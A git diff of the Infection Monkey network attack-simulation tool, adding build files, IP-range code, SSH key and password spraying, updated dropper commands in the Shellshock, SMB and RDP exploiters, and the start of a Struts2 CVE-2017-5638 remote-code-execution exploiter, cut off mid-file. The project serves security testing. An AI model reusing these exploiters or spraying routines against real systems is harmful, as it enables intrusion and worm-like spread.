diff --git a/.github/ISSUE_TEMPLATE/Bug_report.md b/.github/ISSUE_TEMPLATE/Bug_report.md new file mode 100644 index 000000000..36fcff7c3 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/Bug_report.md @@ -0,0 +1,23 @@ +--- +name: Bug report +about: Create a report to help us fix things! + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Configure the Monkey with X settings +2. Run the monkey on specific machine +3. See error + +**Expected behavior** +A description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Machine version(please complete the following information):** + - OS: Windows or Linux diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 000000000..8b780e2fc --- /dev/null +++ b/.travis.yml @@ -0,0 +1,27 @@ +group: travis_latest +language: python +cache: pip +python: + - 2.7 + - 3.6 + #- nightly + #- pypy + #- pypy3 +matrix: + allow_failures: + - python: nightly + - python: pypy + - python: pypy3 +install: + #- pip install -r requirements.txt + - pip install flake8 # pytest # add another testing frameworks later +before_script: + # stop the build if there are Python syntax errors or undefined names + - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics + # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide + - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics +script: + - true # pytest --capture=sys # add other tests here +notifications: + on_success: change + on_failure: change # `always` will be the setting once code changes slow down diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b4f69c1e9..2744fac11 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,7 +2,7 @@ Thanks for your interest in making the Monkey -- and therefore, your network -- a better place! -Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker]. +Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues). Please try to be as specific as you can about your problem; try to include steps to reproduce. While we'll try to help anyway, focusing us will help us help you faster. @@ -20,7 +20,7 @@ The following is a *short* list of recommendations. PRs that don't match these c * **Don't** leave your pull request description blank. * **Do** license your code as GPLv3. - +Also, please submit PRs to the develop branch. ## Issues * **Do** write a detailed description of your bug and use a descriptive title. diff --git a/README.md b/README.md index 5a12b34f8..841eb6ccb 100644 --- a/README.md +++ b/README.md @@ -50,6 +50,6 @@ and follow the instructions at the readme files under [infection_monkey](infecti License ======= -Copyright (c) 2017 Guardicore Ltd +Copyright (c) Guardicore Ltd See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3). diff --git a/common/__init__.py b/common/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/common/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/common/network/__init__.py b/common/network/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/common/network/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/common/network/network_range.py b/common/network/network_range.py new file mode 100644 index 000000000..a2142ce0e --- /dev/null +++ b/common/network/network_range.py @@ -0,0 +1,123 @@ +import random +import socket +import struct +from abc import ABCMeta, abstractmethod + +import ipaddress +from six import text_type + +__author__ = 'itamar' + + +class NetworkRange(object): + __metaclass__ = ABCMeta + + def __init__(self, shuffle=True): + self._shuffle = shuffle + + def get_range(self): + """ + :return: Returns a sequence of IPs in an internal format (might be numbers) + """ + return self._get_range() + + def __iter__(self): + """ + Iterator of ip addresses (strings) from the current range. + Use get_range if you want it in one go. + :return: + """ + base_range = self.get_range() + if self._shuffle: + random.shuffle(base_range) + + for x in base_range: + yield self._number_to_ip(x) + + @abstractmethod + def is_in_range(self, ip_address): + raise NotImplementedError() + + @abstractmethod + def _get_range(self): + raise NotImplementedError() + + @staticmethod + def get_range_obj(address_str): + address_str = address_str.strip() + if not address_str: # Empty string + return None + if -1 != address_str.find('-'): + return IpRange(ip_range=address_str) + if -1 != address_str.find('/'): + return CidrRange(cidr_range=address_str) + return SingleIpRange(ip_address=address_str) + + @staticmethod + def _ip_to_number(address): + return struct.unpack(">L", socket.inet_aton(address))[0] + + @staticmethod + def _number_to_ip(num): + return socket.inet_ntoa(struct.pack(">L", num)) + + +class CidrRange(NetworkRange): + def __init__(self, cidr_range, shuffle=True): + super(CidrRange, self).__init__(shuffle=shuffle) + self._cidr_range = cidr_range.strip() + self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False) + + def __repr__(self): + return "" % (self._cidr_range,) + + def is_in_range(self, ip_address): + return ipaddress.ip_address(ip_address) in self._ip_network + + def _get_range(self): + return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address] + + +class IpRange(NetworkRange): + def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True): + super(IpRange, self).__init__(shuffle=shuffle) + if ip_range is not None: + addresses = ip_range.split('-') + if len(addresses) != 2: + raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range) + self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] + elif (lower_end_ip is not None) and (higher_end_ip is not None): + self._lower_end_ip = lower_end_ip.strip() + self._higher_end_ip = higher_end_ip.strip() + else: + raise ValueError('Illegal IP range: %s' % ip_range) + + self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip) + self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip) + if self._higher_end_ip_num < self._lower_end_ip_num: + raise ValueError( + 'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip)) + + def __repr__(self): + return "" % (self._lower_end_ip, self._higher_end_ip) + + def is_in_range(self, ip_address): + return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num + + def _get_range(self): + return range(self._lower_end_ip_num, self._higher_end_ip_num + 1) + + +class SingleIpRange(NetworkRange): + def __init__(self, ip_address, shuffle=True): + super(SingleIpRange, self).__init__(shuffle=shuffle) + self._ip_address = ip_address + + def __repr__(self): + return "" % (self._ip_address,) + + def is_in_range(self, ip_address): + return self._ip_address == ip_address + + def _get_range(self): + return [SingleIpRange._ip_to_number(self._ip_address)] diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 000000000..6cd945d70 --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,19 @@ +FROM debian:jessie-slim + +LABEL MAINTAINER="theonlydoo " + +WORKDIR /app + +ADD https://github.com/guardicore/monkey/releases/download/1.5.2/infection_monkey_1.5.2_deb.tgz . + +RUN tar xvf infection_monkey_1.5.2_deb.tgz \ + && apt-get -yqq update \ + && apt-get -yqq upgrade \ + && apt-get -yqq install python-pip \ + libssl-dev \ + supervisor \ + && dpkg -i *.deb + +COPY stack.conf /etc/supervisor/conf.d/stack.conf + +ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ] \ No newline at end of file diff --git a/docker/README.md b/docker/README.md new file mode 100644 index 000000000..768730061 --- /dev/null +++ b/docker/README.md @@ -0,0 +1,11 @@ +# Improvements needed + +* Remove embedded mongodb from .deb, it forbids installation on a `debian:stretch` distro. +* Package monkey for system's python usage. +* Fix package number: (I installed the 1.5.2) +``` +ii gc-monkey-island 1.0 amd64 Guardicore Infection Monkey Island installation package +``` +* Use .deb dependencies for mongodb setup? +* Use docker-compose for stack construction. +* Remove the .sh script from the systemd unit file (`/var/monkey_island/ubuntu/systemd/start_server.sh`) which only does a `cd && localpython run` \ No newline at end of file diff --git a/docker/stack.conf b/docker/stack.conf new file mode 100644 index 000000000..b742c0392 --- /dev/null +++ b/docker/stack.conf @@ -0,0 +1,4 @@ +[program:mongod] +command=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db +[program:monkey] +command=/var/monkey_island/ubuntu/systemd/start_server.sh diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 9af85d33f..818bc75a0 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -1,4 +1,5 @@ import os +import struct import sys import types import uuid @@ -6,9 +7,9 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter -from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger -from network.range import FixedRange + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter +from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ + MSSQLFinger __author__ = 'itamar' @@ -40,7 +41,7 @@ def _cast_by_example(value, example): return int(value) elif example_type is float: return float(value) - elif example_type is types.ClassType or example_type is ABCMeta: + elif example_type in (type, ABCMeta): return globals()[value] else: return None @@ -84,10 +85,10 @@ class Configuration(object): if val_type is types.FunctionType or val_type is types.MethodType: continue - if val_type is types.ClassType or val_type is ABCMeta: + if val_type in (type, ABCMeta): value = value.__name__ elif val_type is tuple or val_type is list: - if len(value) != 0 and (type(value[0]) is types.ClassType or type(value[0]) is ABCMeta): + if len(value) != 0 and type(value[0]) in (type, ABCMeta): value = val_type([x.__name__ for x in value]) result[key] = value @@ -116,7 +117,8 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' - dropper_target_path = r"C:\Windows\monkey.exe" + dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" + dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' ########################### @@ -144,10 +146,10 @@ class Configuration(object): max_iterations = 1 scanner_class = TcpScanner - finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] + finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, # multi + ElasticGroovyExploiter, Struts2Exploiter # multi ] # how many victims to look for in a single scan iteration @@ -162,7 +164,7 @@ class Configuration(object): # Configuration servers to try to connect to, in this order. command_servers = [ - "41.50.73.31:5000" + "192.0.2.0:5000" ] # sets whether or not to locally save the running configuration after finishing @@ -183,10 +185,9 @@ class Configuration(object): # Auto detect and scan local subnets local_network_scan = True - range_class = FixedRange - range_fixed = ['', ] + subnet_scan_list = [] - blocked_ips = ['', ] + blocked_ips = [] # TCP Scanner HTTP_PORTS = [80, 8080, 443, @@ -233,6 +234,12 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_password_list) + def get_exploit_user_ssh_key_pairs(self): + """ + :return: All combinations of the configurations users and ssh pairs + """ + return product(self.exploit_user_list, self.exploit_ssh_keys) + def get_exploit_user_password_or_hash_product(self): """ Returns all combinations of the configurations users and passwords or lm/ntlm hashes @@ -251,6 +258,7 @@ class Configuration(object): exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_lm_hash_list = [] exploit_ntlm_hash_list = [] + exploit_ssh_keys = [] # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds diff --git a/infection_monkey/control.py b/infection_monkey/control.py index 3b5da2025..d2cbc0cc0 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -4,6 +4,7 @@ import platform from socket import gethostname import requests +from requests.exceptions import ConnectionError import monkeyfs import tunnel @@ -24,10 +25,10 @@ class ControlClient(object): proxies = {} @staticmethod - def wakeup(parent=None, default_tunnel=None, has_internet_access=None): - LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) - if parent or default_tunnel: - LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel)) + def wakeup(parent=None, has_internet_access=None): + if parent: + LOG.debug("parent: %s" % (parent,)) + hostname = gethostname() if not parent: parent = GUID @@ -35,48 +36,66 @@ class ControlClient(object): if has_internet_access is None: has_internet_access = check_internet_access(WormConfiguration.internet_services) + monkey = {'guid': GUID, + 'hostname': hostname, + 'ip_addresses': local_ips(), + 'description': " ".join(platform.uname()), + 'internet_access': has_internet_access, + 'config': WormConfiguration.as_dict(), + 'parent': parent} + + if ControlClient.proxies: + monkey['tunnel'] = ControlClient.proxies.get('https') + + requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), + data=json.dumps(monkey), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies, + timeout=20) + + @staticmethod + def find_server(default_tunnel=None): + LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) + if default_tunnel: + LOG.debug("default_tunnel: %s" % (default_tunnel,)) + + current_server = "" + for server in WormConfiguration.command_servers: try: - WormConfiguration.current_server = server - - monkey = {'guid': GUID, - 'hostname': hostname, - 'ip_addresses': local_ips(), - 'description': " ".join(platform.uname()), - 'internet_access': has_internet_access, - 'config': WormConfiguration.as_dict(), - 'parent': parent} - - if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') + current_server = server debug_message = "Trying to connect to server: %s" % server if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - reply = requests.post("https://%s/api/monkey" % (server,), - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=20) + requests.get("https://%s/api?action=is-up" % (server,), + verify=False, + proxies=ControlClient.proxies) + WormConfiguration.current_server = current_server break - except Exception as exc: - WormConfiguration.current_server = "" + except ConnectionError as exc: + current_server = "" LOG.warn("Error connecting to control server %s: %s", server, exc) - if not WormConfiguration.current_server: - if not ControlClient.proxies: + if current_server: + return True + else: + if ControlClient.proxies: + return False + else: LOG.info("Starting tunnel lookup...") proxy_find = tunnel.find_tunnel(default=default_tunnel) if proxy_find: proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) - ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access) + return ControlClient.find_server() else: LOG.info("No tunnel found") + return False @staticmethod def keepalive(): @@ -249,7 +268,6 @@ class ControlClient(object): data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) - if 200 == reply.status_code: result_json = reply.json() filename = result_json.get('filename') diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 3e0a8bff5..c135dcddb 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -9,6 +9,7 @@ import sys import time from ctypes import c_char_p +import filecmp from config import WormConfiguration from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX @@ -38,7 +39,7 @@ class MonkeyDrops(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-d', '--depth', type=int) arg_parser.add_argument('-l', '--location') self.monkey_args = args[1:] self.opts, _ = arg_parser.parse_known_args(args) @@ -53,10 +54,16 @@ class MonkeyDrops(object): if self._config['destination_path'] is None: LOG.error("No destination path specified") - return + return False # we copy/move only in case path is different - file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) + try: + file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path']) + except OSError: + file_moved = False + + if not file_moved and os.path.exists(self._config['destination_path']): + os.remove(self._config['destination_path']) # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: @@ -105,8 +112,8 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) + monkey_options =\ + build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options @@ -130,22 +137,25 @@ class MonkeyDrops(object): LOG.warn("Seems like monkey died too soon") def cleanup(self): - if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ - os.path.exists(self._config['source_path']) and \ - WormConfiguration.dropper_try_move_first: + try: + if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ + os.path.exists(self._config['source_path']) and \ + WormConfiguration.dropper_try_move_first: - # try removing the file first - try: - os.remove(self._config['source_path']) - except Exception as exc: - LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) + # try removing the file first + try: + os.remove(self._config['source_path']) + except Exception as exc: + LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) - # mark the file for removal on next boot - dropper_source_path_ctypes = c_char_p(self._config['source_path']) - if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, - MOVEFILE_DELAY_UNTIL_REBOOT): - LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", - self._config['source_path'], ctypes.windll.kernel32.GetLastError()) - else: - LOG.debug("Dropper source file '%s' is marked for deletion on next boot", - self._config['source_path']) + # mark the file for removal on next boot + dropper_source_path_ctypes = c_char_p(self._config['source_path']) + if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, + MOVEFILE_DELAY_UNTIL_REBOOT): + LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", + self._config['source_path'], ctypes.windll.kernel32.GetLastError()) + else: + LOG.debug("Dropper source file '%s' is marked for deletion on next boot", + self._config['source_path']) + except AttributeError: + LOG.error("Invalid configuration options. Failing") diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 84f08e865..3c33d975a 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -1,18 +1,17 @@ { "command_servers": [ - "41.50.73.31:5000" + "192.0.2.0:5000" ], "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "keep_tunnel_open_time": 60, - "range_class": "RelativeRange", - "range_fixed": [ - "" + "monkey.guardicore.com", + "www.google.com" ], - "blocked_ips": [""], - "current_server": "41.50.73.31:5000", + "keep_tunnel_open_time": 60, + "subnet_scan_list": [ + + ], + "blocked_ips": [], + "current_server": "192.0.2.0:5000", "alive": true, "collect_system_info": true, "extract_azure_creds": true, @@ -23,7 +22,8 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, - "dropper_target_path": "C:\\Windows\\monkey.exe", + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", @@ -37,14 +37,16 @@ "ShellShockExploiter", "ElasticGroovyExploiter", "SambaCryExploiter", + "Struts2Exploiter" ], "finger_classes": [ "SSHFinger", "PingScanner", "HTTPFinger", "SMBFinger", - "MySQLFinger" - "ElasticFinger", + "MySQLFinger", + "MSSQLFingerprint", + "ElasticFinger" ], "max_iterations": 3, "monkey_log_path_windows": "%temp%\\~df1563.tmp", @@ -67,6 +69,7 @@ "exploit_password_list": [], "exploit_lm_hash_list": [], "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [], "sambacry_trigger_timeout": 5, "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_shares_not_to_check": ["IPC$", "print$"], @@ -90,4 +93,4 @@ "use_file_logging": true, "victims_max_exploit": 7, "victims_max_find": 30 -} +} \ No newline at end of file diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index 379d2bd92..f2d5d0c5b 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -24,9 +24,9 @@ class HostExploiter(object): {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, 'info': self._exploit_info, 'attempts': self._exploit_attempts}) - def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''): + def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): self._exploit_attempts.append({'result': result, 'user': user, 'password': password, - 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) + 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) @abstractmethod def exploit_host(self): @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from struts2 import Struts2Exploiter diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 182b8d792..989ae5cdf 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -10,7 +10,7 @@ import logging import requests from exploit import HostExploiter -from model import MONKEY_ARG +from model import DROPPER_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth @@ -114,12 +114,14 @@ class ElasticGroovyExploiter(HostExploiter): """ Runs the monkey """ - cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' + + cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux) + cmdline += ' & ' self.run_shell_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) - if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): + if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") def download_file_in_linux(self, src_path, target_path): diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index 606f44f90..5d73c8279 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -27,7 +27,7 @@ LOG = getLogger(__name__) def twisted_log_func(*message, **kw): - if kw.has_key('isError') and kw['isError']: + if kw.get('isError'): error_msg = 'Unknown' if 'failure' in kw: error_msg = kw['failure'].getErrorMessage() @@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter): if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() diff --git a/infection_monkey/exploit/shellshock.py b/infection_monkey/exploit/shellshock.py index bca03b6ea..e1ef246b6 100644 --- a/infection_monkey/exploit/shellshock.py +++ b/infection_monkey/exploit/shellshock.py @@ -8,7 +8,7 @@ import requests from exploit import HostExploiter from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from model import MONKEY_ARG +from model import DROPPER_ARG from shellshock_resources import CGI_FILES from tools import build_monkey_commandline @@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter): self.attack_page(url, header, run_path) # run the monkey - cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) + cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) diff --git a/infection_monkey/exploit/smbexec.py b/infection_monkey/exploit/smbexec.py index b76a7bce6..d3b27f79d 100644 --- a/infection_monkey/exploit/smbexec.py +++ b/infection_monkey/exploit/smbexec.py @@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/sshexec.py b/infection_monkey/exploit/sshexec.py index b93970ca9..7c6cc6509 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/infection_monkey/exploit/sshexec.py @@ -2,6 +2,7 @@ import logging import time import paramiko +import StringIO import monkeyfs from exploit import HostExploiter @@ -31,6 +32,65 @@ class SSHExploiter(HostExploiter): LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) self._update_timestamp = time.time() + def exploit_with_ssh_keys(self, port, ssh): + user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() + + exploited = False + + for user, ssh_key_pair in user_ssh_key_pairs: + # Creating file-like private key for paramiko + pkey = StringIO.StringIO(ssh_key_pair['private_key']) + ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) + try: + pkey = paramiko.RSAKey.from_private_key(pkey) + except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException): + LOG.error("Failed reading ssh key") + try: + ssh.connect(self.host.ip_addr, + username=user, + pkey=pkey, + port=port, + timeout=None) + LOG.debug("Successfully logged in %s using %s users private key", + self.host, ssh_string) + exploited = True + self.report_login_attempt(True, user, ssh_key=ssh_string) + break + except Exception as exc: + LOG.debug("Error logging into victim %r with %s" + " private key", self.host, + ssh_string) + self.report_login_attempt(False, user, ssh_key=ssh_string) + continue + return exploited + + def exploit_with_login_creds(self, port, ssh): + user_password_pairs = self._config.get_exploit_user_password_pairs() + + exploited = False + + for user, curpass in user_password_pairs: + try: + ssh.connect(self.host.ip_addr, + username=user, + password=curpass, + port=port, + timeout=None) + + LOG.debug("Successfully logged in %r using SSH (%s : %s)", + self.host, user, curpass) + exploited = True + self.report_login_attempt(True, user, curpass) + break + + except Exception as exc: + LOG.debug("Error logging into victim %r with user" + " %s and password '%s': (%s)", self.host, + user, curpass, exc) + self.report_login_attempt(False, user, curpass) + continue + return exploited + def exploit_host(self): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) @@ -46,29 +106,10 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", self.host) return False - user_password_pairs = self._config.get_exploit_user_password_pairs() - - exploited = False - for user, curpass in user_password_pairs: - try: - ssh.connect(self.host.ip_addr, - username=user, - password=curpass, - port=port, - timeout=None) - - LOG.debug("Successfully logged in %r using SSH (%s : %s)", - self.host, user, curpass) - self.report_login_attempt(True, user, curpass) - exploited = True - break - - except Exception as exc: - LOG.debug("Error logging into victim %r with user" - " %s and password '%s': (%s)", self.host, - user, curpass, exc) - self.report_login_attempt(False, user, curpass) - continue + #Check for possible ssh exploits + exploited = self.exploit_with_ssh_keys(port, ssh) + if not exploited: + exploited = self.exploit_with_login_creds(port, ssh) if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py new file mode 100644 index 000000000..3a08d0487 --- /dev/null +++ b/infection_monkey/exploit/struts2.py @@ -0,0 +1,246 @@ +""" + Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) + code used is from https://www.exploit-db.com/exploits/41570/ + Vulnerable struts2 versions <=2.3.31 and <=2.5.10 +""" +import urllib2 +import httplib +import unicodedata +import re + +import logging +from exploit import HostExploiter +from exploit.tools import get_target_monkey, get_monkey_depth +from tools import build_monkey_commandline, HTTPTools +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ + DROPPER_ARG + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + +DOWNLOAD_TIMEOUT = 300 + +class Struts2Exploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(Struts2Exploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + + def exploit_host(self): + dropper_path_linux = self._config.dropper_target_path_linux + dropper_path_win_32 = self._config.dropper_target_path_win_32 + dropper_path_win_64 = self._config.dropper_target_path_win_64 + + ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) + + if not ports: + LOG.info("All web ports are closed on %r, skipping", self.host) + return False + + for port in ports: + if port[1]: + current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) + else: + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # Get full URL + url = self.get_redirected(current_host) + LOG.info("Trying to exploit with struts2") + # Check if host is vulnerable and get host os architecture + if 'linux' in self.host.os['type']: + return self.exploit_linux(url, dropper_path_linux) + else: + return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) + + def check_remote_file(self, host, path): + command = EXISTS % path + resp = self.exploit(host, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + def exploit_linux(self, url, dropper_path): + host_arch = Struts2Exploiter.check_exploit_linux(url) + if host_arch: + 